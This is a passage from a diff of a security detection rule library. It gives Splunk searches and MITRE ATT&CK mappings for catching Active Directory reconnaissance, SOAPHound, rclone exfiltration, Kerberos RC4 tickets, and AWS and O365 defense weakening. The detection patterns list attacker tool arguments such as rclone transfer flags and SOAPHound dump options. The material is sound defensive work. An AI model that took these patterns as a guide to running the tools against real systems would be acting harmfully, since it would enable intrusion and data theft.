- "name": "Get-DomainTrust with PowerShell Script Block", - "description": "The following analytic detects the execution of the Get-DomainTrust command from PowerView using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, allowing for detailed inspection. Identifying this activity is significant because it may indicate an attempt to gather domain trust information, which is often a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could enable an attacker to map trust relationships within the domain, potentially leading to further exploitation and compromise of additional systems.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-domaintrust*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domaintrust_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainTrust was identified on endpoint $dest$ by user $user$.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Get-ForestTrust with PowerShell", - "description": "The following analytic detects the execution of the Get-ForestTrust command via PowerShell, commonly used by adversaries to gather domain trust information. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Identifying this activity is crucial as it indicates potential reconnaissance efforts to map out domain trusts, which can inform further attacks. If confirmed malicious, this activity could allow attackers to understand domain relationships, aiding in lateral movement and privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe OR Processes.process_name=cmd.exe Processes.process=*get-foresttrust* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_foresttrust_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ForestTrust was identified on endpoint $dest$ by user $user$.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Get-ForestTrust with PowerShell Script Block", - "description": "The following analytic detects the execution of the Get-ForestTrust command from PowerSploit using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, providing detailed visibility into potentially suspicious activities. Monitoring this behavior is crucial as it can indicate an attempt to gather domain trust information, which is often a precursor to lateral movement or privilege escalation. If confirmed malicious, this activity could allow an attacker to map trust relationships within the domain, facilitating further exploitation and access to sensitive resources.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-foresttrust*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_foresttrust_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ForestTrust was identified on endpoint $dest$ by user $user$.", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "NLTest Domain Trust Discovery", - "description": "The following analytic identifies the execution of `nltest.exe` with command-line arguments `/domain_trusts` or `/all_trusts` to query Domain Trust information. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as it indicates potential reconnaissance efforts by adversaries to understand domain trust relationships, which can inform their lateral movement strategies. If confirmed malicious, this activity could enable attackers to map out trusted domains, facilitating further compromise and pivoting within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_nltest` (Processes.process=*/domain_trusts* OR Processes.process=*/all_trusts*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `nltest_domain_trust_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Domain Trust Discovery", - "IcedID", - "Qakbot", - "Rhysida Ransomware", - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain trust discovery execution on $dest$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -415787,60 +284225,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Kerberos Service Ticket Request Using RC4 Encryption", - "description": "The following analytic detects Kerberos service ticket requests using RC4 encryption, leveraging Kerberos Event 4769. This method identifies potential Golden Ticket attacks, where adversaries forge Kerberos Granting Tickets (TGT) using the Krbtgt account NTLM password hash to gain unrestricted access to an Active Directory environment. Monitoring for RC4 encryption usage is significant as it is rare in modern networks, indicating possible malicious activity. If confirmed malicious, attackers could move laterally and execute code on remote systems, compromising the entire network. Note: This detection may be bypassed if attackers use the AES key instead of the NTLM hash.", - "search": " `wineventlog_security` EventCode=4769 ServiceName=\"*$\" (TicketOptions=0x40810000 OR TicketOptions=0x40800000 OR TicketOptions=0x40810010) TicketEncryptionType=0x17 | stats count min(_time) as firstTime max(_time) as lastTime by dest, service, service_id, TicketEncryptionType, TicketOptions | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `kerberos_service_ticket_request_using_rc4_encryption_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Kerberos Service TTicket request with RC4 encryption was requested from $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.001", - "mitre_attack_technique": "Golden Ticket", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Ke3chang" - ] - } - ] - } } ], "external_reference": [ @@ -418810,224 +287194,7 @@ "Event ID": "4663", "Event Name": "File monitoring" } - ], - { - "name": "Detect RClone Command-Line Usage", - "description": "The following analytic detects the usage of `rclone.exe` with specific command-line arguments indicative of file transfer activities. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as `rclone.exe` is often used by adversaries for data exfiltration, especially during ransomware attacks. If confirmed malicious, this behavior could lead to unauthorized data transfer, resulting in data breaches and potential loss of sensitive information. Immediate isolation of the affected endpoint and further investigation are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rclone` Processes.process IN (\"*copy*\", \"*mega*\", \"*pcloud*\", \"*ftp*\", \"*--config*\", \"*--progress*\", \"*--no-check-certificate*\", \"*--ignore-existing*\", \"*--auto-confirm*\", \"*--transfers*\", \"*--multi-thread-streams*\") by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rclone_command_line_usage_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to connect to a remote cloud service to move files or folders.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "Detect Renamed RClone", - "description": "The following analytic detects the execution of a renamed `rclone.exe` process, which is commonly used for data exfiltration to remote destinations. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names and original file names that do not match. This activity is significant because ransomware groups often use RClone to exfiltrate sensitive data. If confirmed malicious, this behavior could indicate an ongoing data exfiltration attempt, potentially leading to significant data loss and further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.original_file_name=rclone.exe AND Processes.process_name!=rclone.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_rclone_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "Detect Traffic Mirroring", - "description": "The following analytic detects the initiation of traffic mirroring sessions on Cisco network devices. It leverages logs with specific mnemonics and facilities related to traffic mirroring, such as \"ETH_SPAN_SESSION_UP\" and \"PKTCAP_START.\" This activity is significant because adversaries may use traffic mirroring to exfiltrate data by duplicating and forwarding network traffic to an external destination. If confirmed malicious, this could allow attackers to capture sensitive information, monitor network communications, and potentially compromise the integrity and confidentiality of the network.", - "search": "`cisco_networks` (facility=\"MIRROR\" mnemonic=\"ETH_SPAN_SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"PKTCAP_START\") OR (mnemonic=\"CFGLOG_LOGGEDCMD\" command=\"monitor session*\") | stats min(_time) AS firstTime max(_time) AS lastTime count BY host facility mnemonic | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_traffic_mirroring_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1020.001", - "mitre_attack_technique": "Traffic Duplication", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -419398,346 +287565,6 @@ "references": [ "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" ] - }, - { - "name": "AWS Network Access Control List Created with All Open Ports", - "description": "The following analytic detects the creation of AWS Network Access Control Lists (ACLs) with all ports open to a specified CIDR. It leverages AWS CloudTrail events, specifically monitoring for `CreateNetworkAclEntry` or `ReplaceNetworkAclEntry` actions with rules allowing all traffic. This activity is significant because it can expose the network to unauthorized access, increasing the risk of data breaches and other malicious activities. If confirmed malicious, an attacker could exploit this misconfiguration to gain unrestricted access to the network, potentially leading to data exfiltration, service disruption, or further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=CreateNetworkAclEntry OR eventName=ReplaceNetworkAclEntry requestParameters.ruleAction=allow requestParameters.egress=false requestParameters.aclProtocol=-1 | append [search `cloudtrail` eventName=CreateNetworkAclEntry OR eventName=ReplaceNetworkAclEntry requestParameters.ruleAction=allow requestParameters.egress=false requestParameters.aclProtocol!=-1 | eval port_range='requestParameters.portRange.to' - 'requestParameters.portRange.from' | where port_range>1024] | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by userName user_arn userIdentity.principalId eventName requestParameters.ruleAction requestParameters.egress requestParameters.aclProtocol requestParameters.portRange.to requestParameters.portRange.from src userAgent requestParameters.cidrBlock | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_network_access_control_list_created_with_all_open_ports_filter`", - "tags": { - "analytic_story": [ - "AWS Network ACL Activity" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has created network ACLs with all the ports open to a specified CIDR $requestParameters.cidrBlock$", - "risk_score": 48, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "AWS Network Access Control List Deleted", - "description": "The following analytic detects the deletion of AWS Network Access Control Lists (ACLs). It leverages AWS CloudTrail logs to identify events where a user deletes a network ACL entry. This activity is significant because deleting a network ACL can remove critical access restrictions, potentially allowing unauthorized access to cloud instances. If confirmed malicious, this action could enable attackers to bypass network security controls, leading to unauthorized access, data exfiltration, or further compromise of the cloud environment.", - "search": "`cloudtrail` eventName=DeleteNetworkAclEntry requestParameters.egress=false | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by user_arn userIdentity.principalId eventName requestParameters.egress src userAgent | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_network_access_control_list_deleted_filter`", - "tags": { - "analytic_story": [ - "AWS Network ACL Activity" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ from $src$ has sucessfully deleted network ACLs entry (eventName= $eventName$), such that the instance is accessible from anywhere", - "risk_score": 5, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Bypass MFA via Trusted IP", - "description": "The following analytic identifies instances where new IP addresses are added to the trusted IPs list in Office 365, potentially allowing users from these IPs to bypass Multi-Factor Authentication (MFA) during login. It leverages O365 audit logs, specifically focusing on events related to the modification of trusted IP settings. This activity is significant because adding trusted IPs can weaken the security posture by bypassing MFA, which is a critical security control. If confirmed malicious, this could lead to unauthorized access, compromising sensitive information and systems. Immediate investigation is required to validate the legitimacy of the IP addition.", - "search": "`o365_management_activity` Operation=\"Set Company Information.\" ModifiedProperties{}.Name=StrongAuthenticationPolicy | rex max_match=100 field=ModifiedProperties{}.NewValue \"(?\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2})\" | rex max_match=100 field=ModifiedProperties{}.OldValue \"(?\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2})\" | eval ip_addresses_old=if(isnotnull(ip_addresses_old),ip_addresses_old,\"0\") | mvexpand ip_addresses_new_added | where isnull(mvfind(ip_addresses_old,ip_addresses_new_added)) |stats count min(_time) as firstTime max(_time) as lastTime values(ip_addresses_old) as ip_addresses_old by user ip_addresses_new_added Operation Workload vendor_account status user_id action | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `o365_bypass_mfa_via_trusted_ip_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "ip_addresses_new_added", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_id$ has added new IP addresses $ip_addresses_new_added$ to a list of trusted IPs to bypass MFA", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Detect Spike in Network ACL 